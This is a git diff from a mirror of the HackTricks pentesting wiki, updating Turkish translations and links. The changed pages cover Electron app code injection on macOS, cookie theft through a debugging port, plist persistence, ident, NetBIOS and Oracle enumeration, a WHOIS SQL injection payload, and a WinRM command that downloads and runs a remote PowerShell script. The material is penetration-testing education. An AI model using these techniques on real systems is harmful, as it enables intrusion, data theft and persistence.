mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
9ee4e4f520
commit
8ac2786a7e
@ -289,7 +289,7 @@
|
||||
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
- [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
|
||||
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]()
|
||||
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
|
||||
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||
@ -692,9 +692,9 @@
|
||||
|
||||
# ⛈️ Cloud Security
|
||||
|
||||
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]()
|
||||
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]()
|
||||
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]()
|
||||
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
|
||||
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
|
||||
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
|
||||
|
||||
# 😎 Hardware/Physical Access
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
Eğer Electron'un ne olduğunu bilmiyorsanız [**burada çok fazla bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ama şimdilik sadece Electron'un **node** çalıştırdığını bilin.\
|
||||
Eğer Electron'un ne olduğunu bilmiyorsanız [**burada çok fazla bilgi bulabilirsiniz**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Ama şimdilik sadece Electron'un **node** çalıştırdığını bilin.\
|
||||
Ve node'un belirtilen dosyanın dışında **başka kodlar çalıştırmak için** kullanılabilecek bazı **parametreleri** ve **env değişkenleri** vardır.
|
||||
|
||||
### Electron Füzeleri
|
||||
@ -14,7 +14,7 @@ Bu teknikler bir sonraki bölümde tartışılacak, ancak son zamanlarda Electro
|
||||
- **`RunAsNode`**: Devre dışı bırakıldığında, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** env değişkeninin kullanılmasını engeller.
|
||||
- **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmayacaktır. Bu şekilde kod enjeksiyonunu önler.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirildiğinde, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanacaktır**. Bu şekilde bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** **önler**.
|
||||
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve nihayet **`default_app.asar`**. Sadece app.asar'ı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile **birleştirildiğinde** **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir.
|
||||
- **`OnlyLoadAppFromAsar`**: Bu etkinleştirildiğinde, yüklemek için şu sırayı aramak yerine: **`app.asar`**, **`app`** ve nihayet **`default_app.asar`**. Sadece app.asar'ı kontrol edecek ve kullanacak, böylece **`embeddedAsarIntegrityValidation`** füzesi ile birleştirildiğinde **doğrulanmamış kodun yüklenmesi** **imkansız** hale gelecektir.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirildiğinde, tarayıcı süreci V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
|
||||
|
||||
Kod enjeksiyonunu önlemeyecek başka ilginç bir fuse ise:
|
||||
@ -50,7 +50,7 @@ Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve ö
|
||||
|
||||
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer bu baytları değiştirilmiş **`Electron Framework`** ikili dosyasını bir uygulamanın içine **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır.
|
||||
Eğer bu baytları değiştirilmiş olarak bir uygulamanın **`Electron Framework`** ikili dosyasını **üst üste yazmaya** çalışırsanız, uygulama çalışmayacaktır.
|
||||
|
||||
## RCE, Electron Uygulamalarına Kod Ekleme
|
||||
|
||||
@ -60,11 +60,11 @@ Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabili
|
||||
> Ancak, şu anda 2 sınırlama vardır:
|
||||
>
|
||||
> - Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** izni **gerekir**, bu nedenle varsayılan olarak bu artık mümkün değildir.
|
||||
> - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortaları **etkin** olarak bulunur.
|
||||
> - Derlenmiş **`asap`** dosyası genellikle **`embeddedAsarIntegrityValidation`** `ve` **`onlyLoadAppFromAsar`** sigortalarını `etkin` olarak içerir.
|
||||
>
|
||||
> Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini aşmanın mümkün olduğunu unutmayın; uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'dan **`app.app/NotCon`** olarak yeniden adlandırarak, **kötü niyetli** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak yeniden adlandırarak ve çalıştırarak bunu yapabilirsiniz.
|
||||
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **zararlı** kodunuzla **asar** dosyasını **değiştirerek**, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak aşmanın mümkün olduğunu unutmayın.
|
||||
|
||||
Asar dosyasından kodu çıkarmak için:
|
||||
```bash
|
||||
@ -76,7 +76,7 @@ npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
[**Belgelerde**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) belirtildiğine göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatır.
|
||||
[**Belgelerde**](https://www.electronjs.org/docs/latest/api/environment-variables#electron_run_as_node) belirtildiğine göre, bu ortam değişkeni ayarlandığında, süreci normal bir Node.js süreci olarak başlatacaktır.
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
@ -114,7 +114,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
```
|
||||
## RCE with `NODE_OPTIONS`
|
||||
|
||||
Yükleme dosyasını farklı bir dosyada saklayabilir ve çalıştırabilirsiniz:
|
||||
Yükü farklı bir dosyada saklayabilir ve çalıştırabilirsiniz:
|
||||
```bash
|
||||
# Content of /tmp/payload.js
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
|
||||
@ -123,13 +123,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama başlatıldığında env değişkeni **NODE_OPTIONS** **göz ardı** edilecektir, eğer env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da sigorta **`RunAsNode`** devre dışı bırakılmışsa **göz ardı** edilecektir.
|
||||
> Eğer sigorta **`EnableNodeOptionsEnvironmentVariable`** **devre dışı** bırakılmışsa, uygulama **NODE_OPTIONS** ortam değişkenini başlatıldığında **yoksayacaktır**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **devre dışı** bırakılmışsa **yoksayılacaktır**.
|
||||
>
|
||||
> Eğer **`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, **hata** ile karşılaşacaksınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
|
||||
### Uygulama Plist'inden Enjeksiyon
|
||||
|
||||
Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılık sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
Bu ortam değişkenini bir plist içinde kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
@ -147,7 +147,7 @@ Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılık sağlama
|
||||
```
|
||||
## RCE ile inceleme
|
||||
|
||||
[**bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağına göre, **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir hata ayıklama portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\
|
||||
[**şuna**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) göre, **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla bir Electron uygulaması çalıştırırsanız, **bir hata ayıklama portu açılacaktır** böylece ona bağlanabilirsiniz (örneğin `chrome://inspect` üzerinden Chrome'dan) ve **ona kod enjekte edebilir** veya hatta yeni süreçler başlatabilirsiniz.\
|
||||
Örneğin:
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
@ -155,9 +155,11 @@ Bu env değişkenini bir plist içinde kötüye kullanarak kalıcılık sağlama
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer çevre değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
|
||||
> Eğer **`EnableNodeCliInspectArguments`** sigortası devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **göz ardı edecektir**, eğer ortam değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmamışsa, bu da **göz ardı edilecektir** eğer sigorta **`RunAsNode`** devre dışı bırakılmışsa.
|
||||
>
|
||||
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri Electron Uygulamasından çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının **çerezleri** (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
|
||||
> Ancak, **electron parametresi `--remote-debugging-port=9229`** kullanarak hala bazı bilgileri çalabilirsiniz, ancak önceki yük, diğer süreçleri çalıştırmak için işe yaramayacaktır.
|
||||
|
||||
Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından **geçmiş** (GET komutları ile) veya tarayıcının **çerezlerini** çalmak mümkündür (çünkü bunlar tarayıcı içinde **şifresi çözülmüş** durumdadır ve bunları verecek bir **json uç noktası** vardır).
|
||||
|
||||
Bunu nasıl yapacağınızı [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilirsiniz ve otomatik aracı [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya şöyle basit bir script kullanabilirsiniz:
|
||||
```python
|
||||
@ -171,7 +173,7 @@ Bu [**blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıkl
|
||||
|
||||
### Uygulama Plist'inden Enjeksiyon
|
||||
|
||||
Bu çevre değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
Bu ortam değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlamak için bu anahtarları ekleyebilirsiniz:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
@ -188,12 +190,12 @@ Bu çevre değişkenini bir plist'te kötüye kullanarak kalıcılığı sağlam
|
||||
## TCC Bypass eski sürümleri istismar etme
|
||||
|
||||
> [!TIP]
|
||||
> macOS'taki TCC daemon, uygulamanın yürütülen sürümünü kontrol etmez. Bu nedenle, **bir Electron uygulamasına kod enjekte edemiyorsanız** önceki tekniklerden herhangi biriyle, APP'nin önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemediği sürece).
|
||||
> macOS'taki TCC daemon, uygulamanın yürütülen sürümünü kontrol etmez. Bu nedenle, eğer **bir Electron uygulamasına kod enjekte edemiyorsanız** önceki tekniklerden herhangi biriyle, APP'nin önceki bir sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemediği sürece).
|
||||
|
||||
## JS Dışı Kod Çalıştırma
|
||||
|
||||
Önceki teknikler, **electron uygulamasının sürecinde JS kodu çalıştırmanıza** olanak tanıyacaktır. Ancak, **çocuk süreçlerin ana uygulama ile aynı sandbox profilinde çalıştığını** ve **TCC izinlerini miras aldığını** unutmayın.\
|
||||
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, **süreçten başka bir ikili dosya çalıştırabilirsiniz**.
|
||||
Bu nedenle, örneğin kameraya veya mikrofona erişmek için hakları istismar etmek istiyorsanız, sadece **süreçten başka bir ikili dosya çalıştırabilirsiniz**.
|
||||
|
||||
## Otomatik Enjeksiyon
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Ident Protokolü**, belirli bir kullanıcıyla **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. İlk olarak **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı port üzerinden bir istemciyi sorgulamasına olanak tanır.
|
||||
**Ident Protokolü**, belirli bir kullanıcı ile **TCP bağlantısını** ilişkilendirmek için **İnternet** üzerinde kullanılır. İlk olarak **ağ yönetimi** ve **güvenlik** konularında yardımcı olmak amacıyla tasarlanmıştır ve bir sunucunun, belirli bir TCP bağlantısının kullanıcısı hakkında bilgi talep etmek için 113 numaralı port üzerinden bir istemciyi sorgulamasına olanak tanır.
|
||||
|
||||
Ancak, modern gizlilik endişeleri ve kötüye kullanım potansiyeli nedeniyle, kullanımı azalmıştır çünkü istemci bilgilerini yetkisiz taraflara yanlışlıkla ifşa edebilir. Bu riskleri azaltmak için şifreli bağlantılar ve sıkı erişim kontrolleri gibi geliştirilmiş güvenlik önlemleri önerilmektedir.
|
||||
|
||||
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
|
||||
### **Manual - Kullanıcıyı Al/Servisi Tanımla**
|
||||
|
||||
Eğer bir makine ident ve samba (445) servisini çalıştırıyorsa ve siz samba'ya 43218 portu üzerinden bağlıysanız. Samba servisini hangi kullanıcının çalıştırdığını öğrenmek için:
|
||||
Eğer bir makine ident ve samba (445) servisini çalıştırıyorsa ve siz samba'ya 43218 portu üzerinden bağlıysanız, samba servisini hangi kullanıcının çalıştırdığını öğrenmek için:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -48,7 +48,7 @@ PORT STATE SERVICE VERSION
|
||||
```
|
||||
### Ident-user-enum
|
||||
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) hedef sistemin her TCP portunda dinleyen sürecin sahibini belirlemek için ident hizmetini (113/TCP) sorgulayan basit bir PERL betiğidir. Toplanan kullanıcı adı listesi, diğer ağ hizmetlerine yönelik şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` ile kurulabilir.
|
||||
[**Ident-user-enum**](https://github.com/pentestmonkey/ident-user-enum) basit bir PERL betiğidir ve bir hedef sistemin her TCP portunda dinleyen sürecin sahibini belirlemek için ident hizmetini (113/TCP) sorgular. Toplanan kullanıcı adı listesi, diğer ağ hizmetlerine yönelik şifre tahmin saldırıları için kullanılabilir. `apt install ident-user-enum` ile kurulabilir.
|
||||
```
|
||||
root@kali:/opt/local/recon/192.168.1.100# ident-user-enum 192.168.1.100 22 113 139 445
|
||||
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
|
||||
@ -78,7 +78,7 @@ Description: Notes for Ident
|
||||
Note: |
|
||||
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/113-pentesting-ident
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
|
||||
|
||||
Entry_2:
|
||||
Name: Enum Users
|
||||
|
@ -10,7 +10,7 @@
|
||||
|
||||
- İsim kaydı ve çözümü için isim servisi (portlar: 137/udp ve 137/tcp).
|
||||
- Bağlantısız iletişim için datagram dağıtım servisi (port: 138/udp).
|
||||
- Bağlantı odaklı iletişim için oturum servisi (port: 139/tcp).
|
||||
- Bağlantılı iletişim için oturum servisi (port: 139/tcp).
|
||||
|
||||
### İsim Servisi
|
||||
|
||||
@ -27,16 +27,16 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n <IP>
|
||||
```
|
||||
### Datagram Dağıtım Servisi
|
||||
|
||||
NetBIOS datagramları, doğrudan mesajlaşma veya tüm ağ adlarına yayın yapmayı destekleyerek UDP üzerinden bağlantısız iletişim sağlar. Bu hizmet **138/udp** portunu kullanır.
|
||||
NetBIOS datagramları, doğrudan mesajlaşma veya tüm ağ adlarına yayın yapmayı destekleyen, UDP üzerinden bağlantısız iletişim sağlar. Bu hizmet **138/udp** portunu kullanır.
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
138/udp open|filtered netbios-dgm
|
||||
```
|
||||
### Oturum Servisi
|
||||
|
||||
Bağlantı odaklı etkileşimler için, **Oturum Servisi** iki cihaz arasında bir konuşma sağlar ve **TCP** bağlantılarını **139/tcp** portu üzerinden kullanır. Bir oturum, "Oturum İsteği" paketi ile başlar ve yanıtına göre kurulabilir. Servis, daha büyük mesajları, hata tespiti ve kurtarma işlemlerini destekler; TCP ise akış kontrolü ve paket yeniden iletimini yönetir.
|
||||
Bağlantı odaklı etkileşimler için, **Oturum Servisi** iki cihaz arasında bir konuşma sağlar ve **TCP** bağlantılarını **139/tcp** portu üzerinden kullanır. Bir oturum, "Oturum İsteği" paketi ile başlar ve yanıtına göre kurulabilir. Servis, daha büyük mesajları, hata tespitini ve kurtarmayı destekler; TCP ise akış kontrolü ve paket yeniden iletimini yönetir.
|
||||
|
||||
Bir oturum içindeki veri iletimi, **Oturum Mesajı paketleri** ile gerçekleşir ve oturumlar TCP bağlantısının kapatılmasıyla sonlandırılır.
|
||||
Bir oturum içindeki veri iletimi, **Oturum Mesajı paketleri** ile gerçekleşir ve oturumlar, TCP bağlantısının kapatılmasıyla sonlandırılır.
|
||||
|
||||
Bu hizmetler, **NetBIOS** işlevselliği için hayati öneme sahiptir ve bir ağ üzerinde verimli iletişim ve kaynak paylaşımını sağlar. TCP ve IP protokolleri hakkında daha fazla bilgi için ilgili [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) ve [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) sayfalarına bakın.
|
||||
```bash
|
||||
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
|
||||
|
||||
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
|
||||
|
||||
Entry_2:
|
||||
Name: Find Names
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Oracle veritabanı (Oracle DB), Oracle Corporation'dan (buradan) bir ilişkisel veritabanı yönetim sistemidir (RDBMS).
|
||||
|
||||
Oracle'ı listeleme yaparken ilk adım, genellikle varsayılan portta (1521/TCP, -ayrıca 1522–1529'da ikincil dinleyiciler de alabilirsiniz-) bulunan TNS-Dinleyicisi ile konuşmaktır.
|
||||
Oracle'ı sayarken ilk adım, genellikle varsayılan portta (1521/TCP, -ayrıca 1522–1529'da ikincil dinleyiciler de alabilirsiniz-) bulunan TNS-Dinleyicisi ile konuşmaktır.
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
|
@ -18,11 +18,11 @@ Bir whois hizmetinin bir alan adı hakkında sahip olduğu tüm bilgileri alın:
|
||||
whois -h <HOST> -p <PORT> "domain.tld"
|
||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||
```
|
||||
Dikkat edin ki bazen bir WHOIS hizmetinden bazı bilgiler talep ettiğinizde kullanılan veritabanı yanıt içinde görünebilir:
|
||||
Dikkat edin ki, bazen bir WHOIS hizmetinden bilgi talep ettiğinizde kullanılan veritabanı yanıt içinde görünebilir:
|
||||
|
||||
.png>)
|
||||
|
||||
Ayrıca, WHOIS hizmeti her zaman bilgileri depolamak ve çıkarmak için bir **veritabanı** kullanmak zorundadır. Bu nedenle, kullanıcının sağladığı bazı bilgilerden veritabanını **sorgularken** olası bir **SQLInjection** mevcut olabilir. Örneğin `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` komutunu çalıştırarak veritabanında saklanan **tüm** **bilgileri** **çıkartabilirsiniz**.
|
||||
Ayrıca, WHOIS hizmeti her zaman bilgiyi depolamak ve çıkarmak için bir **veritabanı** kullanmak zorundadır. Bu nedenle, kullanıcının sağladığı bazı bilgilerden veritabanını **sorgularken** olası bir **SQLInjection** mevcut olabilir. Örneğin `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` komutunu çalıştırarak veritabanında kaydedilen **tüm** **bilgileri** **çıkartabilirsiniz**.
|
||||
|
||||
## Shodan
|
||||
|
||||
@ -41,7 +41,7 @@ Note: |
|
||||
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
|
||||
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
|
||||
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
|
@ -9,7 +9,7 @@ Bu port, **Redshift** tarafından çalıştırılmak için kullanılır. Temelde
|
||||
Daha fazla bilgi için kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum
|
||||
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -28,11 +28,11 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
|
||||
```
|
||||
Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır.
|
||||
|
||||
### Yapılandırıldığını test et
|
||||
### Yapılandırıldığını Test Et
|
||||
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin düzgün yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
|
||||
- **Doğru** yapılandırılmış bir hedef için, çıktı aşağıdaki gibi görünecektir:
|
||||
- **Düzgün yapılandırılmış** bir hedef için, çıktı aşağıdaki gibi görünecektir:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, bunu yapabilirsiniz:
|
||||
Ayrıca, _**Invoke-Command**_ aracılığıyla mevcut PS konsolunuzda bir komut **çalıştırabilirsiniz**. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak** istiyorsunuz, şunu yapabilirsiniz:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -64,7 +64,7 @@ Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-c
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### PS oturumu açın
|
||||
### PS oturumu al
|
||||
|
||||
Etkileşimli bir PowerShell kabuğu almak için `Enter-PSSession` kullanın:
|
||||
```powershell
|
||||
@ -95,7 +95,7 @@ PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa,
|
||||
```
|
||||
### Oturumları Kaydetme ve Geri Yükleme
|
||||
|
||||
Bu **çalışmayacak** eğer **dil** uzak bilgisayarda **kısıtlıysa**.
|
||||
Bu **çalışmayacak** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -115,18 +115,18 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
Aşağıdaki hatayı bulursanız:
|
||||
|
||||
